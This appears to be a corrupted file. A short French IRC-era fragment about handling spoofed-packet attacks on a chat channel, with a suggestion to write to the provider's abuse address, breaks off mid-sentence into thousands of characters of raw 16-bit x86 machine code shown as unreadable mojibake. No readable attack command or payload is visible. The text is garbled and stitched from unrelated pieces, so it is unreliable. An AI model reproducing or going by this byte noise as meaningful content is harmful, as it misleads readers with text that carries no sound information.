si t'en a envie!! "abuse@provider.fr" . Dans le cas ou le mec spoof le pkts avec une fausse host sa deviens plus compliquer alors essaye de dire sur le channel que le mec , qui essaye de me destroy arrete ou je porte plainte!(tu envoie un prvmsg au mec que tu connais pas qui sont sur le1RP÷ÆtCƒ>n"u3¡r"@PšÿÿY‰v"£t"¡r"@Pÿ6v"ÿ6t"ÿ6p"šÿÿƒÄÇn"ë‹v"¡t"ëŒÚ¸P1RP÷ÆtCƒ>d"u3¡h"@PšÿÿY‰l"£j"¡h"@Pÿ6l"ÿ6j"ÿ6f"šÿÿƒÄÇd"ë‹l"¡j"ëŒÚ¸O1RP÷ÆtCƒ>Z"u3¡^"@PšÿÿY‰b"£`"¡^"@Pÿ6b"ÿ6`"ÿ6\"šÿÿƒÄÇZ"ë‹b"¡`"ëŒÚ¸N1RPÿvÿv ƒ>P"u3¡T"@PšÿÿY‰X"£V"¡T"@Pÿ6X"ÿ6V"ÿ6R"šÿÿƒÄÇP"ëÿ6X"ÿ6V"hÀ}šÿÿƒÄ ^]MËEU‹ìÿv ƒ>´"u3¡¸"@PšÿÿY‰¼"£º"¡¸"@Pÿ6¼"ÿ6º"ÿ6¶"šÿÿƒÄÇ´"ëÿ6¼"ÿ6º"hÀ}šÿÿƒÄ ]MËEU‹ìVW‹v ‹~ƒþtƒþtéÔƒþuCƒ>Ü"u3¡à"@PšÿÿY‰ä"£â"¡à"@Pÿ6ä"ÿ6â"ÿ6Þ"šÿÿƒÄÇÜ"ë‹ä"¡â"ëAƒ>æ"u3¡ê"@PšÿÿY‰î"£ì"¡ê"@Pÿ6î"ÿ6ì"ÿ6è"šÿÿƒÄÇæ"ë‹î"¡ì"RPÿvWƒ>Ò"u3¡Ö"@PšÿÿY‰Ú"£Ø"¡Ö"@Pÿ6Ú"ÿ6Ø"ÿ6Ô"šÿÿƒÄÇÒ"ëÿ6Ú"ÿ6Ø"é)þuDƒ>ð"u3¡ô"@PšÿÿY‰ø"£ö"¡ô"@Pÿ6ø"ÿ6ö"ÿ6ò"šÿÿƒÄÇð"ë‹ø"¡ö"é—þuCƒ>ú"u3¡þ"@PšÿÿY‰#£#¡þ"@Pÿ6#ÿ6#ÿ6ü"šÿÿƒÄÇú"ë‹#¡#ëNþuCƒ>#u3¡#@PšÿÿY‰ #£ #¡#@Pÿ6 #ÿ6 #ÿ6#šÿÿƒÄÇ#ë‹ #¡ #ëŒÚ¸S1RPÿvWƒ>È"u3¡Ì"@PšÿÿY‰Ð"£Î"¡Ì"@Pÿ6Ð"ÿ6Î"ÿ6Ê"šÿÿƒÄÇÈ"ëÿ6Ð"ÿ6Î"hÀ}šÿÿƒÄ_^]MËEU‹ìV‹v ƒþuDƒ>#u3¡#@PšÿÿY‰ #£#¡#@Pÿ6 #ÿ6#ÿ6#šÿÿƒÄÇ#ë‹ #¡#éÒƒþuDƒ>"#u3¡&#@PšÿÿY‰*#£(#¡&#@Pÿ6*#ÿ6(#ÿ6$#šÿÿƒÄÇ"#ë‹*#¡(#鉃þuCƒ>,#u3¡0#@PšÿÿY‰4#£2#¡0#@Pÿ64#ÿ62#ÿ6.#šÿÿƒÄÇ,#ë‹4#¡2#ëAƒ>6#u3¡:#@PšÿÿY‰>#£<#¡:#@Pÿ6>#ÿ6<#ÿ68#šÿÿƒÄÇ6#ë‹>#¡<#RPƒ>#u3¡#@PšÿÿY‰#£#¡#@Pÿ6#ÿ6#ÿ6#šÿÿƒÄÇ#ëÿ6#ÿ6#hÀ}šÿÿƒÄ ^]MËEU‹ìƒ~ tCƒ>®#u3¡²#@PšÿÿY‰¶#£´#¡²#@Pÿ6¶#ÿ6´#ÿ6°#šÿÿƒÄÇ®#닶#¡´#ëAƒ>¸#u3¡¼#@PšÿÿY‰À#£¾#¡¼#@Pÿ6À#ÿ6¾#ÿ6º#šÿÿƒÄǸ#ë‹À#¡¾#RPƒ>¤#u3¡¨#@PšÿÿY‰¬#£ª#¡¨#@Pÿ6¬#ÿ6ª#ÿ6¦#šÿÿƒÄǤ#ëÿ6¬#ÿ6ª#hÀ}šÿÿƒÄ ]MËEU‹ì‹^ƒûvéZÛ.ÿ§1^ƒ>Ì#u3¡Ð#@PšÿÿY‰Ô#£Ò#¡Ð#@Pÿ6Ô#ÿ6Ò#ÿ6Î#šÿÿƒÄÇÌ#ë‹Ô#¡Ò#éRƒ>Ö#u3¡Ú#@PšÿÿY‰Þ#£Ü#¡Ú#@Pÿ6Þ#ÿ6Ü#ÿ6Ø#šÿÿƒÄÇÖ#ë‹Þ#¡Ü#éƒ>šu3¡ž@PšÿÿY‰¢£ ¡ž@Pÿ6¢ÿ6 ÿ6œšÿÿƒÄÇšë‹¢¡ éʃ>à#u3¡ä#@PšÿÿY‰è#£æ#¡ä#@Pÿ6è#ÿ6æ#ÿ6â#šÿÿƒÄÇà#ë‹è#¡æ#醃>ê#u3¡î#@PšÿÿY‰ò#£ð#¡î#@Pÿ6ò#ÿ6ð#ÿ6ì#šÿÿƒÄÇê#ë‹ò#¡ð#ëCƒ>ô#u3¡ø#@PšÿÿY‰ü#£ú#¡ø#@Pÿ6ü#ÿ6ú#ÿ6ö#šÿÿƒÄÇô#ë‹ü#¡ú#ë]MËÜ\ ]˜\¨]d]EU‹ìÿvÿvÿv è6þYRPƒ>Â#u3¡Æ#@PšÿÿY‰Ê#£È#¡Æ#@Pÿ6Ê#ÿ6È#ÿ6Ä#šÿÿƒÄÇÂ#ëÿ6Ê#ÿ6È#hÀ}šÿÿƒÄ]MËEU‹ìÿvÿv ƒ>$u3¡ $@PšÿÿY‰$£$¡ $@Pÿ6$ÿ6$ÿ6 $šÿÿƒÄÇ$ëÿ6$ÿ6$hÀ}šÿÿƒÄ ]MËEU‹ìƒì‹F%ðÿ‰Fþ¹»fc.‹;FþtƒÃâóéÿ.ÿgƒ>&$u3¡*$@PšÿÿY‰.$£,$¡*$@Pÿ6.$ÿ6,$ÿ6($šÿÿƒÄÇ&$ë‹.$¡,$éúƒ>0$u3¡4$@PšÿÿY‰8$£6$¡4$@Pÿ68$ÿ66$ÿ62$šÿÿƒÄÇ0$ë‹8$¡6$鶃>:$u3¡>$@PšÿÿY‰B$£@$¡>$@Pÿ6B$ÿ6@$ÿ6<$šÿÿƒÄÇ:$ë‹B$¡@$érƒ>D$u3¡H$@PšÿÿY‰L$£J$¡H$@Pÿ6L$ÿ6J$ÿ6F$šÿÿƒÄÇD$ë‹L$¡J$é.ƒ>N$u3¡R$@PšÿÿY‰V$£T$¡R$@Pÿ6V$ÿ6T$ÿ6P$šÿÿƒÄÇN$ë‹V$¡T$éêƒ>X$u3¡\$@PšÿÿY‰`$£^$¡\$@Pÿ6`$ÿ6^$ÿ6Z$šÿÿƒÄÇX$ë‹`$¡^$馃>b$u3¡f$@PšÿÿY‰j$£h$¡f$@Pÿ6j$ÿ6h$ÿ6d$šÿÿƒÄÇb$ë‹j$¡h$ébƒ>l$u3¡p$@PšÿÿY‰t$£r$¡p$@Pÿ6t$ÿ6r$ÿ6n$šÿÿƒÄÇl$ë‹t$¡r$éƒ>v$u3¡z$@PšÿÿY‰~$£|$¡z$@Pÿ6~$ÿ6|$ÿ6x$šÿÿƒÄÇv$ë‹~$¡|$éÚƒ>€$u3¡„$@PšÿÿY‰ˆ$£†$¡„$@Pÿ6ˆ$ÿ6†$ÿ6‚$šÿÿƒÄÇ€$니$¡†$é–ƒ>Š$u3¡Ž$@PšÿÿY‰’$£$¡Ž$@Pÿ6’$ÿ6$ÿ6Œ$šÿÿƒÄÇŠ$ë‹’$¡$éRƒ>”$u3¡˜$@PšÿÿY‰œ$£š$¡˜$@Pÿ6œ$ÿ6š$ÿ6–$šÿÿƒÄÇ”$ë‹œ$¡š$éƒ>ž$u3¡¢$@PšÿÿY‰¦$£¤$¡¢$@Pÿ6¦$ÿ6¤$ÿ6 $šÿÿƒÄÇž$닦$¡¤$éʃ>¨$u3¡¬$@PšÿÿY‰°$£®$¡¬$@Pÿ6°$ÿ6®$ÿ6ª$šÿÿƒÄǨ$ë‹°$¡®$醃>²$u3¡¶$@PšÿÿY‰º$£¸$¡¶$@Pÿ6º$ÿ6¸$ÿ6´$šÿÿƒÄDz$닺$¡¸$ëCƒ>¼$u3¡À$@PšÿÿY‰Ä$£Â$¡À$@Pÿ6Ä$ÿ6Â$ÿ6¾$šÿÿƒÄǼ$ë‹Ä$¡Â$ëÉMËðð ð0ð@ðPð`ðpð€ððñ ñ0ñ@ñPñUbay`5`Ea‰a%_Ýb­_½`ñ_Ía™bbi_EU‹ìV‹v þPñu_Ä^&ÿwVè?ûYRPƒ>$u3¡ $@PšÿÿY‰$$£"$¡ $@Pÿ6$$ÿ6"$ÿ6$šÿÿƒÄÇ$ëÿ6$$ÿ6"$hÀ}šÿÿƒÄë\ÿvÿvVèáúYRPƒ>$u3¡$@PšÿÿY‰$£$¡$@Pÿ6$ÿ6$ÿ6$šÿÿƒÄÇ$ëÿ6$ÿ6$hÀ}šÿÿƒÄ^]MËEU‹ìÄ^&ÿw&ÿwÿv ƒ>Æ$u3¡Ê$@PšÿÿY‰Î$£Ì$¡Ê$@Pÿ6Î$ÿ6Ì$ÿ6È$šÿÿƒÄÇÆ$ëÿ6Î$ÿ6Ì$hÀ}šÿÿƒÄ]MËEU‹ì3Àë]MËEU‹ì]MËEU‹ì]MËEU‹ì]MËEU‹ì]MËEU‹ì]MËEU‹ì]MËEU‹ì]MËEU‹ì]MËEU‹ìÄ^&ÿw&ÿwÄ^&ÿwhT1hÀ}šÿÿƒÄŒÚ¸À}ë]MËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÿvúÿvÿvè¤äƒÄ €>À}uÿvÿvèzÿƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÄ^&ÿwÿvúÿvÿvè²âƒÄ €>À}uÿvÿvèÿƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿw&ÿwÄ^&ÿwÿvúÿvÿvèþƒÄ €>À}uÿvÿvè¥þƒÄëŒÚ¸À}ëÉMËEU‹ìÿvÿvèˆþƒÄë]MËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÿvúÿvÿvè8äƒÄ €>À}uÿvÿvè*þƒÄëŒÚ¸À}ëÉMËEU‹ìÿvÿvè þƒÄë]MËEU‹ìÿvÿvè÷ýƒÄë]MËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÄ^&ÿwÿvúÿvÿvèûãƒÄ €>À}uÿvÿvè’ýƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÿvúÿvÿvè äƒÄ €>À}uÿvÿvè-ýƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÿvúÿvÿvè¼åƒÄ€>À}uÿvÿvèÏüƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿw&ÿwÿvúÿvÿvè>üƒÄ ™€>À}uÿvÿvèlüƒÄëŒÚ¸À}ëÉMËEU‹ìÿvÿvèOüƒÄë]MËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÄ^&ÿwÿvúÿvÿvè៎ €>À}uÿvÿvèêûƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿw&ÿwÿvúÿvÿvèdûƒÄ €>À}uÿvÿvèˆûƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿw&ÿwÿvúÿvÿvè ûƒÄ €>À}uÿvÿvè&ûƒÄëŒÚ¸À}ëÉMËEU‹ìÆÀ}€>À}uÿvÿvèýúƒÄëŒÚ¸À}ë]MËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÿvúÿvÿvè5äƒÄ €>À}uÿvÿvè˜úƒÄëŒÚ¸À}ëÉMËEU‹ìÿvÿvè{úƒÄë]MËEU‹ìÿvÿvèeúƒÄë]MËEU‹ìÿvÿvèOúƒÄë]MËEU‹ìÿvÿvè9úƒÄë]MËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿw&ÿwÄ^&ÿwÿvúÿvÿvè³ÙƒÄ €>À}uÿvÿvè×ùƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÿvúÿvÿvèæƒÄ€>À}uÿvÿvèyùƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÄ^&ÿwÿvúÿvÿvèìåƒÄ €>À}uÿvÿvè ùƒÄëŒÚ¸À}ëÉMËEU‹ìÿvÿvèðøƒÄë]MËEU‹ìÿvÿvèÚøƒÄë]MËEU‹ìÿvÿvèÄøƒÄë]MËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÄ^&ÿwÿvúÿvÿvèçÛƒÄ €>À}uÿvÿvè_øƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÿvúÿvÿvèÑ׃Ä™€>À}uÿvÿvèøƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿw&ÿwÿvúÿvÿvèúÚƒÄ €>À}uÿvÿvèž÷ƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÿvúÿvÿvèÝڃĀ>À}uÿvÿvè@÷ƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÿvúÿvÿvèBÚƒÄ €>À}uÿvÿvèÛöƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÄ^&ÿwÿvúÿvÿvèÀÙƒÄ €>À}uÿvÿvèoöƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÿvúÿvÿvèÄ™€>À}uÿvÿvèöƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿw&ÿwÿvúÿvÿvè¦õƒÄ €>À}uÿvÿvè®õƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÄ^&ÿwÿvúÿvÿvèØÖƒÄ €>À}uÿvÿvèBõƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&öGt Ä^&‹Gë3ÀPÄ^&öGt3ÀëÄ^&‹GPÄ^&ÿwÿvúÿvÿvè;âƒÄ€>À}uÿvÿvè±ôƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿw&ÿwÿvúÿvÿvè@ôƒÄ €>À}uÿvÿvèOôƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÄ^&ÿwÿvúÿvÿvè äƒÄ ™€>À}uÿvÿvèâóƒÄëŒÚ¸À}ëÉMËEU‹ìÿvÿvèÅóƒÄë]MËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÄ^&ÿwÿvúÿvÿvèŸÓƒÄ ™€>À}uÿvÿvè_óƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿw&ÿwÄ^&ÿwÿvúÿvÿvèsÖƒÄ €>À}uÿvÿvèöòƒÄëŒÚ¸À}ëÉMËEU‹ìÿvÿvèÙòƒÄë]MËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÿvúÿvÿvè,åƒÄ€>À}uÿvÿvè‚òƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÿvúÿvÿvèÕƒÄ €>À}uÿvÿvèòƒÄëŒÚ¸À}ëÉMËEU‹ìÿvÿvèòƒÄë]MËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwšÿÿRPÄ^&ÿwÿvúÿvÿvè¡ñƒÄ Ä^&ÿwšÿÿ€>À}uÿvÿvèñƒÄëŒÚ¸À}ëÉMËEU‹ìÿvÿvèrñƒÄë]MËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÄ^&ÿwÿvúÿvÿvèäƒÄ €>À}uÿvÿvè ñƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÿvúÿvÿvèØåƒÄ€>À}uÿvÿvè¯ðƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÿvúÿvÿvèӃĀ>À}uÿvÿvèQðƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÄ^&ÿwÿvúÿvÿvè ÑƒÄ ™€>À}uÿvÿvèäïƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÿvúÿvÿvè~ïƒÄ €>À}uÿvÿvèïƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÿvúÿvÿvèºåƒÄ €>À}uÿvÿvèïƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwšÿÿRPÄ^&ÿwÿvúÿvÿvè»îƒÄ Ä^&ÿwšÿÿ€>À}uÿvÿvè¢îƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÄ^&ÿwÿvúÿvÿvèpçƒÄ €>À}uÿvÿvè6îƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÿvúÿvÿvèpçƒÄ €>À}uÿvÿvèÑíƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÄ^&ÿwÄ^&ÿwÿvúÿvÿvèìƒÄ €>À}uÿvÿvèeíƒÄëŒÚ¸À}ëÉMËEU‹ìƒìÆÀ}Ä^&‹W&‹G‰Vþ‰FüÄ^ü&‹G‰FúÄ^&ÿwÿvúÿvÿvèuìƒÄ€>À}uÿvÿvèíƒÄëŒÚ¸À}ëÉMËEU‹ìÿvÿvèêìƒÄë]MËEU‹ìÿvÿvèÔìƒÄë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿv蓈ƒÄÄ^&ÇG&Ç_¶‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè’ÿƒÄÄ^&ÇG&Ƕ‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèMÿƒÄÄ^&ÇG&Çǵ‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèÿƒÄÄ^&ÇG&Ç{µ‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèÃþƒÄÄ^&ÇG&Ç/µ‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè~þƒÄÄ^&ÇG&Çã´‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè9þƒÄÄ^&ÇG&Ç—´‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèôýƒÄÄ^&ÇG&ÇK´‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè¯ýƒÄÄ^&ÇG&Çÿ³‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèjýƒÄÄ^&ÇG&dz³‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè%ýƒÄÄ^&ÇG&Çg³‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèàüƒÄÄ^&ÇG&dz‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè›üƒÄÄ^&ÇG&Çϲ‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèVüƒÄÄ^&ÇG&ǃ²‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèüƒÄÄ^&ÇG&Ç7²‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèÌûƒÄÄ^&ÇG&Ç뱋V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè‡ûƒÄÄ^&ÇG&ÇŸ±‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèBûƒÄÄ^&ÇG&ÇS±‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèýúƒÄÄ^&ÇG&DZ‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè¸úƒÄÄ^&ÇG&Ç»°‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèsúƒÄÄ^&ÇG&Ço°‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè.úƒÄÄ^&ÇG&Ç#°‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèéùƒÄÄ^&ÇG&Çׯ‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè¤ùƒÄÄ^&ÇG&Ç‹¯‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè_ùƒÄÄ^&ÇG&Ç?¯‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèùƒÄÄ^&ÇG&Çó®‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèÕøƒÄÄ^&ÇG&ǧ®‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèøƒÄÄ^&ÇG&Ç[®‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèKøƒÄÄ^&ÇG&Ç®‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèøƒÄÄ^&ÇG&Çí‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèÁ÷ƒÄÄ^&ÇG&Çw­‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè|÷ƒÄÄ^&ÇG&Ç+­‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè7÷ƒÄÄ^&ÇG&Ç߬‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèòöƒÄÄ^&ÇG&Ç“¬‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè­öƒÄÄ^&ÇG&ÇG¬‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèhöƒÄÄ^&ÇG&Çû«‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè#öƒÄÄ^&ÇG&ǯ«‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèÞõƒÄÄ^&ÇG&Çc«‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè™õƒÄÄ^&ÇG&Ç«‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèTõƒÄÄ^&ÇG&Ç˪‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèõƒÄÄ^&ÇG&Ǫ‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèÊôƒÄÄ^&ÇG&Ç3ª‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè…ôƒÄÄ^&ÇG&Çç©‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè@ôƒÄÄ^&ÇG&Ç›©‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèûóƒÄÄ^&ÇG&ÇO©‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè¶óƒÄÄ^&ÇG&Ç©‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèqóƒÄÄ^&ÇG&Ç·¨‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè,óƒÄÄ^&ÇG&Çk¨‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèçòƒÄÄ^&ÇG&Ǩ‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè¢òƒÄÄ^&ÇG&ÇÓ§‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè]òƒÄÄ^&ÇG&LJ§‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèòƒÄÄ^&ÇG&Ç;§‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèÓñƒÄÄ^&ÇG&Ç曆V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèŽñƒÄÄ^&ÇG&Ç£¦‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèIñƒÄÄ^&ÇG&ÇW¦‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvèñƒÄÄ^&ÇG&Ç ¦‹V‹Fë]MËEU‹ìÿvÿvÿvÿvÿvÿvÿvÿv ÿv ÿvÿvè¿ðƒÄÄ^&ÇG